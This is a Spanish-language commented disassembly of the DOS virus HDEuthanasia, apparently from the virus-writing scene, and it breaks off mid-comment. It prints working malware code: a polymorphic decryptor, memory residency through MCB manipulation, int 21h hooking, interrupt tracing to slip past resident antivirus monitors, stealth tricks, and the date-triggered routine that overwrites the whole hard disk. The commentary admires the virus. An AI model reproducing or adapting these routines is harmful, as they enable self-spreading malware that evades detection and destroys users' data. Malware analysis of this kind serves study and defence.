ε;; VIRUS HDEUTHANASIA o HARE KRSNA ε;; ---------------------------------- Γ;; ¡Madre mía! Este sí que ha costado de comentar. ¡Menudo virus! Ocupa 7786 Γ;; bytes y más o menos la mitad de esta cantidad está dedicada al polimorfis- Γ;; mo. Su tarjeta de visita es MUY extensa. Este virus es tan polimórfico que Γ;; incluso el antivirus AVP necesitaba un módulo especial sólo para él. Este Γ;; es de los buenos, aunque tiene algunos trozos faltos de optimización que pa- Γ;; rece mentira. Espero que os guste, porque si no, habré pasado un montón de Γ;; tiempo comentando y deduciendo cosas para nada. ¡Que os guste, c*ñ*! ¡Es una Γ;; orden! :) φ;; FICHA TÉCNICA DEL VIRUS φ;; ----------------------- Γ;; - Infecta COMs, EXEs, BOOTs y MBRs. Γ;; - Su tamaño y polimorfismo es siempre igual en todos los sistemas (al menos, Γ;; hasta la versión 2 del virus). Esto se debe a que escribe en una zona del Γ;; disco duro no declarada una ristra de words aleatorios y construye sus ru- Γ;; tinas de desencriptado a partir de esta. En la versión 3, tiene un 1/16 de Γ;; probabilidad de cambiar esta ristra por otra. Γ;; - Stealth: desinfecta los archivos EXE que son abiertos, resta el tamaño del Γ;; virus a los archivos infectados al hacer DIR, trampea la función 36h de la Γ;; interrupción 21h (la de obtención del espacio libre del disco), si se lee Γ;; el BOOT de un disco infectado leeremos el original y no el del virus, etc. Γ;; etc. Γ;; - Infecta EXEs y COMs cuando son cerrados o ejecutados. Γ;; - Infecta el BOOT de los diskettes que son leídos o escritos, y nada más Γ;; instalarse en memoria a partir de un programa infectado infecta el MBR del Γ;; disco duro principal del sistema. Todo ello si estamos en WINDOWS 95. Si Γ;; no se está en él, no infecta BOOTs (no me preguntéis por qué). Γ;; - Si arranca desde el BOOT de un diskette, lo único que hace es infectar el Γ;; BOOT del disco duro (sin instalarse en memoria) y seguidamente ejecutar el Γ;; BOOT del diskette original. Γ;; - Traza la interrupción 21h para saltarse los monitores antivirus residentes Γ;; y todo eso. Si engancha la int 13h, también la traza. Γ;; - Si falla la int 13h a la hora de infectar el MBR, lo infecta por hardware, Γ;; es decir, usando directamente los ports de la controladora del disco duro Γ;; (pa cagalse). Γ;; - Los días 22 de Agosto y Septiembre sobreescribe con basura TODO el disco Γ;; duro principal y los que va encontrando, además de escribir en pantalla el Γ;; mensaje: '"HDEuthanasia-v3" by Demon Emperor: Hare Krsna, hare, hare...' Γ;; - Evita infectar el COMMAND.COM y los archivos que empiecen por 'TB', 'F-' Γ;; e 'IV'. Cuando se ejecuta el CHKDSK desactiva el stealth. Γ;; - Y muchas, muchas cosas más. Γ;; ∞Líyak el Oscuro ε;; Aquí llega después de un salto incondicional al principio del virus que ε;; salta a una rutina de desencriptado polimórfica, y después de la desencrip- ε;; tación, salta a este punto. ∩0DA6:0000 BE0C00 MOV SI,0000 Ω; Desencriptador ∩0DA6:0003 FC CLD Ω; Empieza a desencriptar por la ∩0DA6:0004 FB STI Ω; dirección 0014h ∩0DA6:0005 B92C0F MOV CX,0F2C ∩0DA6:0008 BF1400 MOV DI,0014 ∩0DA6:000B 03FE ADD DI,SI ∩0DA6:000D 2E CS: ∩0DA6:000E F715 NOT WORD PTR [DI] ∩0DA6:0010 47 INC DI ∩0DA6:0011 47 INC DI ∩0DA6:0012 E2F9 LOOP 000D ε;; INICIO DEL VIRUS EN COMs y EXEs ∩0DA6:0014 B823FE MOV AX,FE23 Ω; Install-check. Si devuelve en ∩0DA6:0017 CD21 INT 21 Ω; AX el valor 000Dh, está insta- ∩0DA6:0019 3D0D00 CMP AX,000D Ω; lado, y en ese caso salta y Ω; evita la instalación. ∩0DA6:001C 56 PUSH SI Ω; Guarda valores en el stack ∩0DA6:001D 1E PUSH DS ∩0DA6:001E 7503 JNZ 0023 Ω; Salta si no está instalado ∩0DA6:0020 E9EC00 JMP 010F Ω; Salta a la rutina de ejecución Ω; del programa portador ∩0DA6:0023 B0E9 MOV AL,E9 Ω; En AL, el valor E9h (que aquí re- Ω; sulta ser E9h, pero puede ser uno Ω; cualquiera) ∩0DA6:0025 0AC0 OR AL,AL Ω; Mira si AL es 0, ya que este va- Ω; lor se lo pone el virus al encrip- Ω; tar para la infección. Si es 0, Ω; evita la desencriptación. ∩0DA6:0027 7419 JZ 0042 Ω; Si es 0, salta a :0042 ∩0DA6:0029 8AE0 MOV AH,AL Ω; AH=AL ∩0DA6:002B 80C401 ADD AH,01 Ω; Le suma 1 a AH ∩0DA6:002E B9650E MOV CX,0E65 Ω; En CX el tamaño de la zona crip- Ω; tada ∩0DA6:0031 BFA201 MOV DI,01A2 Ω; Empieza a desencriptar en :01AE ∩0DA6:0034 03FE ADD DI,SI ∩0DA6:0036 2E CS: ∩0DA6:0037 3105 XOR [DI],AX Ω; XORea :DI con AX ∩0DA6:0039 47 INC DI Ω; Incrementa el puntero en DI ∩0DA6:003A 47 INC DI ∩0DA6:003B 0402 ADD AL,02 Ω; Modifica AX ∩0DA6:003D 80C402 ADD AH,02 ∩0DA6:0040 E2F4 LOOP 0036 Ω; Vuelve a desencriptar Ω; Aquí después de desencriptar ∩0DA6:0042 CD12 INT 12 Ω; Obtiene en AX la memoria total Ω; del sistema ∩0DA6:0044 B106 MOV CL,06 ∩0DA6:0046 D3E0 SHL AX,CL Ω; Lo multiplica por 64 para obtener Ω; el último segmento de memoria ∩0DA6:0048 48 DEC AX Ω; Decrementa este segmento y lo po- ∩0DA6:0049 8EC0 MOV ES,AX Ω; ne en ES. En un sistema normal y Ω; no infectado, ES debería contener Ω; ahora el valor 9FFFh ∩0DA6:004B 26 ES: Ω; Mira, en caso de que haya ∩0DA6:004C 813E08005343 CMP WORD PTR [0008],4353 Ω; en ese segmento un MCB, Ω; si el nombre del programa Ω; residente al cual pertene- Ω; ce ese MCB es 'SC', con lo Ω; cual pertenece al DOS (SC Ω; significa System Code). ∩0DA6:0052 7408 JZ 005C Ω; Si es, salta ∩0DA6:0054 B452 MOV AH,52 Ω; Obtiene en ES:BX el puntero al ∩0DA6:0056 CD21 INT 21 Ω; DIB (Dos Info Block) ∩0DA6:0058 26 ES: ∩0DA6:0059 8B47FE MOV AX,[BX-02] Ω; Obtiene en AX el segmento del Ω; primer MCB del sistema ∩0DA6:005C 8EC0 MOV ES,AX Ω; Lo pone en ES ∩0DA6:005E 26 ES: Ω; Comprueba si ese MCB es el ∩0DA6:005F 803E00005A CMP BYTE PTR [0000],5A Ω; último que hay en memoria ∩0DA6:0064 740B JE 0071 Ω; Si es, sigue con la rutina ∩0DA6:0066 26 ES: Ω; Obtiene la dirección de segmento ∩0DA6:0067 A10300 MOV AX,[0003] Ω; del próximo MCB ∩0DA6:006A 40 INC AX Ω; Incrementa AX ∩0DA6:006B 8CC3 MOV BX,ES Ω; Pone en BX el segmento actual ∩0DA6:006D 03C3 ADD AX,BX Ω; Le suma BX a AX, de tal manera Ω; que en AX ahora se encuentra el Ω; segmento del próximo MCB ∩0DA6:006F EBEB JMP 005C Ω; Vuelve a realizar la rutina ∩0DA6:0071 26 ES: Ω; Obtiene el tamaño en párrafos del ∩0DA6:0072 A10300 MOV AX,[0003] Ω; programa que ocupa este MCB ∩0DA6:0075 2D2D02 SUB AX,022D Ω; Le resta lo necesario para el vi- Ω; rus en párrafos (8912 bytes) ∩0DA6:0078 72DA JB 0054 Ω; Si hay rebose (lo que pide es más Ω; grande que el propio programa) Ω; salta al inicio de la rutina es- Ω; ta, lo que provoca algunas veces Ω; un LOOP infinito al no caber en Ω; el último MCB y saltar para vol- Ω; ver a hacer todo el proceso. ∩0DA6:007A 26 ES: Ω; Si no han habido problemas, se ∩0DA6:007B A30300 MOV [0003],AX Ω; pone el nuevo tamaño en el MCB ∩0DA6:007E 40 INC AX Ω; Incrementa AX ∩0DA6:007F 8CC3 MOV BX,ES Ω; Pone en BX el segmento actual ∩0DA6:0081 03C3 ADD AX,BX Ω; Le suma al segmento actual el ta- Ω; maño obtenido, teniendo de esta Ω; manera en AX la dirección donde Ω; poner con seguridad el virus. Ω; Si todo sale bien y no hay nada Ω; raro, el virus siempre se insta- Ω; lará en el MCB del programa por- Ω; tador, y será como una instala- Ω; ción standard de virus. ∩0DA6:0083 8EC0 MOV ES,AX Ω; Pone en ES esta dirección de seg- Ω; mento. ∩0DA6:0085 1F POP DS Ω; Saca DS y SI guardados anterior- ∩0DA6:0086 5E POP SI Ω; mente, aunque no han sido usados Ω; en ningún momento. ∩0DA6:0087 56 PUSH SI Ω; Vuelve a guardarlos ∩0DA6:0088 1E PUSH DS ∩0DA6:0089 0E PUSH CS Ω; DS = CS ∩0DA6:008A 1F POP DS ∩0DA6:008B B96A1E MOV CX,1E6A Ω; En CX el tamaño del virus (7786 Ω; bytes). ∩0DA6:008E 33FF XOR DI,DI Ω; DI = 0 ∩0DA6:0090 FC CLD ∩0DA6:0091 F3 REPZ ∩0DA6:0092 A4 MOVSB Ω; Copia 7786 bytes a ES:0000 ∩0DA6:0093 06 PUSH ES Ω; Pone ES en el stack, el valor ∩0DA6:0094 B89900 MOV AX,0099 Ω; 0099h... ∩0DA6:0097 50 PUSH AX ∩0DA6:0098 CB RETF Ω; ...y salta a la copia en memoria Ω; en ES:0099, que es... Ω; ...aquí. ∩0DA6:0099 2E CS: Ω; Pone el valor 0 en [018C] ∩0DA6:009A 880E8C01 MOV [018C],CL ∩0DA6:009E B80A16 MOV AX,160A Ω; Comprueba si está WINDOWS en me- ∩0DA6:00A1 CD2F INT 2F Ω; moria ∩0DA6:00A3 0BC0 OR AX,AX Ω; Si no está, salta a :00B2 ∩0DA6:00A5 750B JNZ 00B2 ∩0DA6:00A7 83F903 CMP CX,+03 Ω; Mira si está en modo standard ∩0DA6:00AA 7206 JB 00B2 Ω; Si lo está, salta ∩0DA6:00AC 2E CS: ∩0DA6:00AD 800E8C0180 OR BYTE PTR [018C],80 Ω; Activa el bit 7 en :018C ∩0DA6:00B2 E81B08 CALL 08D0 Ω; Llama a una función para escribir Ω; en un sector del disco duro una Ω; serie de datos aleatorios que Ω; usará a la hora de infectar para Ω; la rutina de polimorfismo. ∩0DA6:00B5 E8C112 CALL 1379 Ω; Macro-rutina para comprobar si el Ω; sistema está ya infectado, y en Ω; caso contrario infectarlo. Hace Ω; una burrada de cosas. ∩0DA6:00B8 0E PUSH CS Ω; DS = CS ∩0DA6:00B9 1F POP DS ∩0DA6:00BA B452 MOV AH,52 Ω; Obtiene en ES:BX el puntero sobre ∩0DA6:00BC CD21 INT 21 Ω; el DOS-Info-Block ∩0DA6:00BE 26 ES: Ω; Obtiene el segmento del primer ∩0DA6:00BF 8B47FE MOV AX,[BX-02] Ω; MCB en memoria ∩0DA6:00C2 A38201 MOV [0182],AX Ω; Guarda este dato en [0182] ∩0DA6:00C5 C606910119 MOV BYTE PTR [0191],19 Ω; Guarda ciertos datos en ∩0DA6:00CA C606850100 MOV BYTE PTR [0185],00 Ω; variables ∩0DA6:00CF C606840101 MOV BYTE PTR [0184],01 ∩0DA6:00D4 B82135 MOV AX,3521 Ω; Obtiene el puntero a la ∩0DA6:00D7 CD21 INT 21 Ω; int 21h ∩0DA6:00D9 891E6401 MOV [0164],BX Ω; Lo guarda en dos variables dis- ∩0DA6:00DD 8C066601 MOV [0166],ES Ω; tintas ∩0DA6:00E1 891E7E01 MOV [017E],BX ∩0DA6:00E5 8C068001 MOV [0180],ES ∩0DA6:00E9 E80A01 CALL 01F6 Ω; Lo traza para obtener el puntero Ω; real (si no lo es) a la int 21h ∩0DA6:00EC FC CLD Ω; Lo copia a la zona definitiva ∩0DA6:00ED BE7E01 MOV SI,017E Ω; donde lo guardará, esto es, en ∩0DA6:00F0 BF6001 MOV DI,0160 Ω; CS:0160h ∩0DA6:00F3 A5 MOVSW ∩0DA6:00F4 A5 MOVSW ∩0DA6:00F5 33C0 XOR AX,AX Ω; DS = 0 ∩0DA6:00F7 8ED8 MOV DS,AX ∩0DA6:00F9 C70684008803 MOV WORD PTR [0084],0388 Ω; Pone en la TVI el pun- ∩0DA6:00FF 8C0E8600 MOV [0086],CS Ω; tero a su propia int 21h ∩0DA6:0103 E82117 CALL 1827 Ω; Rutina para comprobar si está en Ω; WINDOWS 95, y si está entonces Ω; pone una nueva int 13h (la suya) ∩0DA6:0106 E86F06 CALL 0778 Ω; Rutina que borra un fichero de Ω; WINDOWS 95 que ??? ∩0DA6:0109 07 POP ES Ω; Saca ES y SI del stack, que guar- ∩0DA6:010A 5E POP SI Ω; daban DS y SI inicial del archivo ∩0DA6:010B 33F6 XOR SI,SI Ω; Pone SI a 0 ∩0DA6:010D 56 PUSH SI Ω; Lo vuelve a guardar para no hacer ∩0DA6:010E 06 PUSH ES Ω; salto, aunque le hubiera dado lo Ω; mismo (en lo que a tamaño se re- Ω; fiere) Ω; Aquí llega si el virus ya estaba Ω; instalado desde :0020 ∩0DA6:010F 07 POP ES Ω; Saca ES y SI, guardados antes de ∩0DA6:0110 5E POP SI Ω; :0020 como DS y SI. Estos contie- Ω; nen la dirección de inicio del Ω; virus, o también llamado el Ω; "offset Delta" ∩0DA6:0111 06 PUSH ES Ω; DS = ES ∩0DA6:0112 1F POP DS ∩0DA6:0113 1E PUSH DS Ω; Guarda DS, que es el segmento de Ω; memoria donde se encuentra el pro- Ω; grama que contenía al virus y des- Ω; de donde se inició la ejecución Ω; antes de que el virus saltara a Ω; memoria ∩0DA6:0114 2E CS: Ω; Comprueba si el byte en [0179] es ∩0DA6:0115 80BC790101 CMP BYTE PTR [SI+0179],01 Ω; el valor 1, lo que in- Ω; dicará que es un archivo EXE ∩0DA6:011A 7413 JZ 012F Ω; Si es, salta a la ejecucución de Ω; EXEs ε;;;;;; Rutina de ejecución de COMs ∩0DA6:011C 81C66B01 ADD SI,016B Ω; Obtiene en SI la dirección donde Ω; ha guardado los 3 bytes iniciales Ω; del COM infectado ∩0DA6:0120 BF0001 MOV DI,0100 Ω; DI = 0100h (inicio de un COM) ∩0DA6:0123 57 PUSH DI Ω; Guarda DI en el stack ∩0DA6:0124 FC CLD Ω; Direction Flag a 1 ∩0DA6:0125 0E PUSH CS Ω; DS = CS ∩0DA6:0126 1F POP DS ∩0DA6:0127 A5 MOVSW Ω; Copia 3 bytes ∩0DA6:0128 A4 MOVSB ∩0DA6:0129 06 PUSH ES Ω; DS = ES ∩0DA6:012A 1F POP DS ∩0DA6:012B E86400 CALL 0192 Ω; Rutina para poner banderas y re- Ω; gistros a 0 (todos menos SI). Es- Ω; to es peligroso, ya que los re- Ω; gistros en el DOS no están a 0 al Ω; ejecutar un programa. Muchos pro- Ω; gramas emplean esto como truco Ω; anti-debugger (ya que estos ponen Ω; los registros a 0 al empezar), y Ω; otros emplean los mismos regis- Ω; tros iniciales para hacer opera- Ω; ciones. Sea como sea, esta rutina Ω; podría provocar el mal funciona- Ω; miento de algunos programas. ∩0DA6:012E CB RETF Ω; Salta al inicio del COM. ε;;;;;; Rutina de ejecución de EXEs ∩0DA6:012F 2E CS: Ω; Coge en AX el CS inicial del HOST ∩0DA6:0130 8B846D01 MOV AX,[SI+016D] ∩0DA6:0134 5B POP BX Ω; En BX el PSP (que es el DS y el Ω; ES inicial en un EXE) ∩0DA6:0135 83C310 ADD BX,+10 Ω; Le suma un párrafo para sacar el Ω; inicio de la copia en memoria del Ω; programa ∩0DA6:0138 03C3 ADD AX,BX Ω; Le suma el segmento del puntero Ω; de inicio (contenido en el byte Ω; nº 16h de la cabecera) ∩0DA6:013A 2E CS: Ω; Lo mete en [015E] ∩0DA6:013B 89845E01 MOV [SI+015E],AX ∩0DA6:013F 2E CS: Ω; Coge el IP inicial del EXE (con- ∩0DA6:0140 8B846B01 MOV AX,[SI+016B] Ω; tenido en el byte nº 14) ∩0DA6:0144 2E CS: Ω; Lo mete en [015C]. Ahora ha for- ∩0DA6:0145 89845C01 MOV [SI+015C],AX Ω; mado una instrucción JMP FAR Ω; en :015B que le dirigirá al ini- Ω; cio real del EXE ∩0DA6:0149 2E CS: ∩0DA6:014A 019C7101 ADD [SI+0171],BX Ω; Le suma el segmento inicial al Ω; valor SS inicial que figura en la Ω; cabecera ∩0DA6:014E E84100 CALL 0192 Ω; Pone todos los registros menos el Ω; SI a 0 ∩0DA6:0151 2E CS: Ω; Pone en SS el valor que le corres- ∩0DA6:0152 8E947101 MOV SS,[SI+0171] Ω; ponde según la cabecera ∩0DA6:0156 2E CS: Ω; Pone ahora el SP... ∩0DA6:0157 8BA46F01 MOV SP,[SI+016F] ∩0DA6:015B EABB00F20B JMP 0BF2:00BB Ω; ... y efectúa el salto al EXE. ε;;;;; Zona de variables ε;;;;;------------------- ∩0DA6:0160 9E101601 DB 9E,10,16,01 Ω; Aquí guarda el puntero trazado Ω; a la int 21h ∩0DA6:0164 CC01AD05 DB CC,01,AD,05 Ω; Aquí guarda el puntero a la int Ω; 21h sin trazar ∩0DA6:0168 E9 DB E9 Ω; Opcode de JMP. Aquí es donde constru- ∩0DA6:0169 0000 DB 00,00 Ω; ye el JMP inicial en un COM Ω; En un EXE: ∩0DA6:016B 0001 DB 00,01 Ω; IP inicial del host (valor en el byte Ω; (nº 14h de la cabecera) ∩0DA6:016D F0FF DB F0,FF Ω; CS inicial del host ∩0DA6:016F 0002 DB 00,02 Ω; SP inicial ∩0DA6:0171 E403 DB E4,03 Ω; SS inicial Ω; En un COM: Los bytes contenidos en Ω; [016B], [016C] y [016D] son los tres Ω; bytes iniciales del COM ∩0DA6:0173 3C00 DB 3C,00 Ω; Resto de dividir el tamaño del archivo Ω; original entre 512 (dato obtenido en Ω; la cabecera original, en la posición Ω; +02h) ∩0DA6:0175 2000 DB 20,00 Ω; Cociente de dividir el tamaño entre Ω; 512 (que está en la posición +04h de Ω; la cabecera) ∩0DA6:0177 C032 DB C0,32 Ω; Copia de la hora original del archivo ∩0DA6:0179 01 DB 01 Ω; Identificación de COM o EXE. 00=COM, Ω; 01=EXE ∩0DA6:017A 761E DB 76,1E Ω; Aquí guarda el puntero a la int 01h ∩0DA6:017C DB03 DB DB,03 Ω; cuando traza las interrupciones ∩0DA6:017E BA73 DB BA,73 Ω; Lugar donde guarda la fecha y hora de ∩0DA6:0180 7A22 DB 7A,22 Ω; la última modificación de un archivo, Ω; para restaurarlas al infectarlo ∩0DA6:0182 0000 DB 00,00 Ω; Aquí guarda el segmento más bajo ob- Ω; tenido al trazar las interrupciones ∩0DA6:0184 00 DB 00 Ω; Cuando está a 1 indica que se ha en- Ω; contrado un segmento menor que el ob- Ω; tenido antes a la hora de trazar ∩0DA6:0185 00 DB 00 Ω; A la hora de trazar interrupciones, si Ω; está a 1 significa que ha habido una Ω; instrucción PUSHF durante el trazado. Ω; Si está a 0, no (¡Obvio! Parece que Ω; esté comentando el código para gili- Ω; pollas :) ∩0DA6:0186 0000 DB 00,00 Ω; Aquí guarda el segmento en el que es- Ω; tá en cada momento al invocar la int Ω; 01h cuando traza interrupciones. Ω; En el momento de infectar por int 21h, Ω; también se guardan aquí los atributos Ω; originales del archivo antes de ser Ω; cambiados ∩0DA6:0188 0000 DB 00,00 Ω; Lugar donde guarda el vector a la int ∩0DA6:018A 0000 DB 00,00 Ω; 1Ch en la instalación por BOOT ∩0DA6:018C 00 DB 00 Ω; Byte de control en el cual sólo se Ω; usan sus bits. Ω; bit 0 = Se ejecuta un antivirus cono- Ω; cido (IV*, F-PROT o TBAV) Ω; bit 1 = Se ejecuta el archivo CHKDSK Ω; bit 2 = Sistema operativo WINDOWS 95 Ω; bit 3 = Indica que ha habido una in- Ω; versión del orden en dos ins- Ω; trucciones en la rutina de Ω; polimorfear el BOOT en :1462. Ω; Es encendido también en :0A59 Ω; para indicar algo. Ω; bit 4 = Encendido en :0A87 para indi- Ω; car que en el stack NO se ha- Ω; lla el Entry Point del virus. Ω; Es usado en :0C68 Ω; bit 5 = ? Ω; bit 6 = ? Ω; bit 7 = WINDOWS está en memoria ∩0DA6:018D E915 DB E9,15 Ω; Dirección donde guarda el PSP actual- Ω; mente en ejecución (lo utiliza en la Ω; rutina en :02CC para la obtención del Ω; espacio libre en disco) ∩0DA6:018F 771D DB 00,00 Ω; Aquí guarda el número de clusters li- Ω; bres que devuelve la función 36h de Ω; la int 21h ∩0DA6:0191 00 DB 00 Ω; Aquí guarda el número de dispositivo Ω; que se intenta acceder mediante la Ω; función 36h de la int 21h ε;;;; Rutina para poner banderas y todos los registros (menos SI) a 0 ∩0DA6:0192 33C0 XOR AX,AX ∩0DA6:0194 50 PUSH AX ∩0DA6:0195 9D POPF Ω; Flags a 0 ∩0DA6:0196 FB STI Ω; STI porque si no se quedaba como Ω; si se hubiera hecho CLI ∩0DA6:0197 8BC8 MOV CX,AX Ω; CX = 0 ∩0DA6:0199 8BF8 MOV DI,AX Ω; DI = 0 ∩0DA6:019B 8BE8 MOV BP,AX Ω; BP = 0 ∩0DA6:019D 8BD0 MOV DX,AX Ω; DX = 0 ∩0DA6:019F 8BD8 MOV BX,AX Ω; BX = 0 ∩0DA6:01A1 C3 RET Ω; Retorna ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;; Interrupción 01 que utiliza para el trazado de interrupciones ;;;; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;; Esta rutina comprueba durante su funcionamiento el segmento en el que se ; ε;; está ejecutando la interrupción trazada almacena la dirección en la que ; ε;; se cambie de segmento, y se quedará con el segmento más pequeño encontrado,; ε;; que indicará que es la interrupción del sistema operativo y no de un pro- ; ε;; grama instalado posteriormente. ; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ∩0DA6:01A2 50 PUSH AX Ω; Guarda registros usados por la ∩0DA6:01A3 53 PUSH BX Ω; rutina ∩0DA6:01A4 55 PUSH BP ∩0DA6:01A5 1E PUSH DS ∩0DA6:01A6 8BEC MOV BP,SP Ω; Pone en BP el Stack Pointer ∩0DA6:01A8 8B460A MOV AX,[BP+0A] Ω; En AX mete el segmento donde se Ω; estaba cuando se llamó a la int Ω; 01h ∩0DA6:01AB 8B5E08 MOV BX,[BP+08] Ω; En BX, el IP (la dirección de Ω; offset donde se estaba) ∩0DA6:01AE 2E CS: ∩0DA6:01AF 8C0E8601 MOV [0186],CS Ω; En [0186] guarda el CS actual ∩0DA6:01B3 2E CS: ∩0DA6:01B4 3B068601 CMP AX,[0186] Ω; Comprueba si el CS actual es el Ω; mismo que desde donde se llamó Ω; la int 01 (recordemos que cada Ω; instrucción llamará a la int 01 Ω; al finalizarse su ejecución, al Ω; estar el Trap Flag a 1) ∩0DA6:01B8 7428 JZ 01E2 Ω; Si es el mismo, quiere decir que Ω; se está ejecutando código del Ω; virus, y por tanto acaba ∩0DA6:01BA E87400 CALL 0231 Ω; Comprueba si la instrucción que Ω; se va a ejecutar es PUSHF o Ω; POPF, en cuyo caso hace las ope- Ω; raciones pertinentes para evitar Ω; que el Trap Flag sea puesto a 0 ∩0DA6:01BD 3D00F0 CMP AX,F000 Ω; Comprueba si el segmento es F000 ∩0DA6:01C0 7307 JNB 01C9 Ω; Si es mayor o igual, salta ∩0DA6:01C2 2E CS: Ω; Comprueba si el segmento actual ∩0DA6:01C3 3B068201 CMP AX,[0182] Ω; es mayor del ya obtenido ∩0DA6:01C7 7719 JA 01E2 Ω; Si es mayor, salta y acaba la Ω; interrupción ∩0DA6:01C9 2E CS: Ω; Comprueba si el byte en [0184] ∩0DA6:01CA 8026840101 AND BYTE PTR [0184],01 Ω; está a 1 ∩0DA6:01CF 7411 JZ 01E2 Ω; Si no está, acaba normalmente ∩0DA6:01D1 2E CS: ∩0DA6:01D2 C606840100 MOV BYTE PTR [0184],00 Ω; Pone el byte en [0184] Ω; a 0 ∩0DA6:01D7 2E CS: Ω; Pone en [0180] el segmento ac- ∩0DA6:01D8 A38001 MOV [0180],AX Ω; tual ∩0DA6:01DB 8B4608 MOV AX,[BP+08] Ω; Mete en AX el IP actual ∩0DA6:01DE 2E CS: ∩0DA6:01DF A37E01 MOV [017E],AX Ω; Lo pone en [017E] ∩0DA6:01E2 1F POP DS Ω; Saca los registros del stack ∩0DA6:01E3 5D POP BP ∩0DA6:01E4 5B POP BX ∩0DA6:01E5 58 POP AX ∩0DA6:01E6 2E CS: Ω; Comprueba si el byte en [0185] ∩0DA6:01E7 803E850101 CMP BYTE PTR [0185],01 Ω; está a 1, que indicaría Ω; que ha habido una ins- Ω; trucción PUSHF ∩0DA6:01EC 7401 JZ 01EF Ω; Si está, salta ∩0DA6:01EE CF IRET Ω; Retorno de interrupción normal ∩0DA6:01EF 2E CS: Ω; Pone el byte en [0185] a 0 ∩0DA6:01F0 C606850100 MOV BYTE PTR [0185],00 ∩0DA6:01F5 CB RETF Ω; RETF para que saque sólo CS e IP Ω; y no saque el stack, que ya ha Ω; sido modificado por esta función ε;;; Rutina de enganche de la int 01 para el trazado de la interrupción cuyo ε;;; puntero se encuentre en la variable DD[017E] ∩0DA6:01F6 B80135 MOV AX,3501 Ω; Obtiene el puntero de la int 01 ∩0DA6:01F9 CD21 INT 21 ∩0DA6:01FB 891E7A01 MOV [017A],BX Ω; Lo guarda ∩0DA6:01FF 8C067C01 MOV [017C],ES ∩0DA6:0203 BAA201 MOV DX,01A2 Ω; Lo redirecciona a una zona suya ∩0DA6:0206 B425 MOV AH,25 Ω; de código ∩0DA6:0208 CD21 INT 21 ∩0DA6:020A 32D2 XOR DL,DL Ω; Pone DX con el valor 0100h ∩0DA6:020C 9C PUSHF Ω; Pone en AX las banderas ∩0DA6:020D 58 POP AX ∩0DA6:020E 0D0001 OR AX,0100 Ω; Activa el Trap Flag para que ∩0DA6:0211 50 PUSH AX Ω; en cada instrucción se ejecute ∩0DA6:0212 9D POPF Ω; la int 01 ∩0DA6:0213 8A269101 MOV AH,[0191] Ω; En AH el valor en :0191. Si Ω; viene de :196A, será el valor Ω; 0 ∩0DA6:0217 9C PUSHF Ω; Emula una instrucción INT con ∩0DA6:0218 FF1E7E01 CALL FAR [017E] Ω; el puntero que haya en esa di- Ω; rección ∩0DA6:021C 9C PUSHF Ω; Quita el Trap Flag ∩0DA6:021D 58 POP AX ∩0DA6:021E 25FFFE AND AX,FEFF ∩0DA6:0221 50 PUSH AX ∩0DA6:0222 9D POPF ∩0DA6:0223 C5167A01 LDS DX,[017A] Ω; Vuelve a recuperar la int 01 ∩0DA6:0227 B80125 MOV AX,2501 Ω; original ∩0DA6:022A CD21 INT 21 ∩0DA6:022C 0E PUSH CS ∩0DA6:022D 0E PUSH CS ∩0DA6:022E 07 POP ES Ω; ES = CS ∩0DA6:022F 1F POP DS Ω; DS = CS ∩0DA6:0230 C3 RET Ω; Retorna ε;;; Rutina para comprobar si durante el trazado de la interrupción hay algún ε;;; PUSHF o POPF que pueda modificar las banderas y desconectar el Trap Flag. ∩0DA6:0231 50 PUSH AX Ω; Guarda AX, que contiene el seg- Ω; mento del código en ejecución ∩0DA6:0232 8ED8 MOV DS,AX Ω; Lo mete en DS ∩0DA6:0234 8A07 MOV AL,[BX] Ω; Coge en AL el opcode de la ins- Ω; trucción ∩0DA6:0236 3C9D CMP AL,9D Ω; Mira si es POPF ∩0DA6:0238 7508 JNZ 0242 Ω; Si no es, salta ∩0DA6:023A 814E0C0001 OR WORD PTR [BP+0C],0100 Ω; Pone el Trap Flag a 1 Ω; por si acaso lo ha modificado ∩0DA6:023F EB0E JMP 024F Ω; Salta al final ∩0DA6:0241 90 NOP ∩0DA6:0242 3C9C CMP AL,9C Ω; Comprueba si es PUSHF ∩0DA6:0244 7509 JNZ 024F Ω; Si no es, salta ∩0DA6:0246 FF4608 INC WORD PTR [BP+08] Ω; Incrementa el puntero para Ω; saltarse la instrucción ∩0DA6:0249 2E CS: Ω; Pone un byte de control a 1 pa- ∩0DA6:024A C606850101 MOV BYTE PTR [0185],01 Ω; ra indicar que se ha sal- Ω; tado la instrucción ∩0DA6:024F 58 POP AX Ω; Saca AX guardado ∩0DA6:0250 C3 RET Ω; Retorna ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;;; E F E C T O D E S T R U C T I V O ;;; ε;;;; ------------------------------------ ;;; ε;;;; Esta rutina es llamada sólamente desde el BOOT. Coge el formato del ;;; ε;;;; disco duro y empieza a escribir datos aleatorios (no le importa lo ;;; ε;;;; sea escrito, puesto que no pone dirección de buffer, así que BX coge ;;; ε;;;; lo que tenga en ese momento) por todo el disco duro, destruyéndolo ;;; ε;;;; por completo y borrando todos los datos. Esto es aún más destructivo ;;; ε;;;; que un formateo, puesto que hay utilidades que pueden recuperar un ;;; ε;;;; formateo accidental, pero aquí lo sobreescribe todo y así seguro que ;;; ε;;;; no se recupera. ;;; ε;;;; Se activa los días 22 de Agosto y Septiembre. Para más coña, te borra ;;; ε;;;; la pantalla y te muestra el mensaje: ;;; ε;;;; HDEuthanasia-v3" by Demon Emperor: Hare Krsna, hare, hare... ;;; ε;;;; mientras te "mata" el disco duro. ;;; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ∩0DA6:0251 B404 MOV AH,04 Ω; Obtiene la fecha del sistema en ∩0DA6:0253 CD1A INT 1A Ω; CX y DX ∩0DA6:0255 F6C608 TEST DH,08 Ω; Mira si es agosto o septiembre ∩0DA6:0258 7405 JZ 025F Ω; Si no es, acaba ∩0DA6:025A 80FA22 CMP DL,22 Ω; Comprueba si es el día 22 (en 